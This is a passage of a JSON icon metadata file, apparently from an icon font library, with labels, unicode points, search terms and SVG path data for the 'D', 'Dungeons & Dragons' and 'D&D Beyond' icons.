        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 440 512\"><path d=\"M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z\"/></svg>",
        "viewBox": [0, 0, 440, 512],
        "width": 440,
        "height": 512,
        "path": "M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z"
      }
    },
    "free": ["brands"]
  },
  "d": {
    "aliases": {
      "unicodes": {
        "composite": ["64"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter D", "Latin Small Letter D", "letter"]
    },
    "styles": ["solid"],
    "unicode": "44",
    "label": "D",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32h96c123.7 0 224 100.3 224 224s-100.3 224-224 224H64c-35.3 0-64-28.7-64-64V96zm160 0H64V416h96c88.4 0 160-71.6 160-160s-71.6-160-160-160z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32h96c123.7 0 224 100.3 224 224s-100.3 224-224 224H64c-35.3 0-64-28.7-64-64V96zm160 0H64V416h96c88.4 0 160-71.6 160-160s-71.6-160-160-160z"
      }
    },
    "free": ["solid"]
  },
  "d-and-d": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f38d",
    "label": "Dungeons & Dragons",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z"
      }
    },
    "free": ["brands"]
  },
  "d-and-d-beyond": {
    "changes": ["5.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "d&d",
        "dnd",
        "fantasy",
        "gaming",
        "tabletop"
      ]
    },
    "styles": ["brands"],
    "unicode": "f6ca",
    "label": "D&D Beyond",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 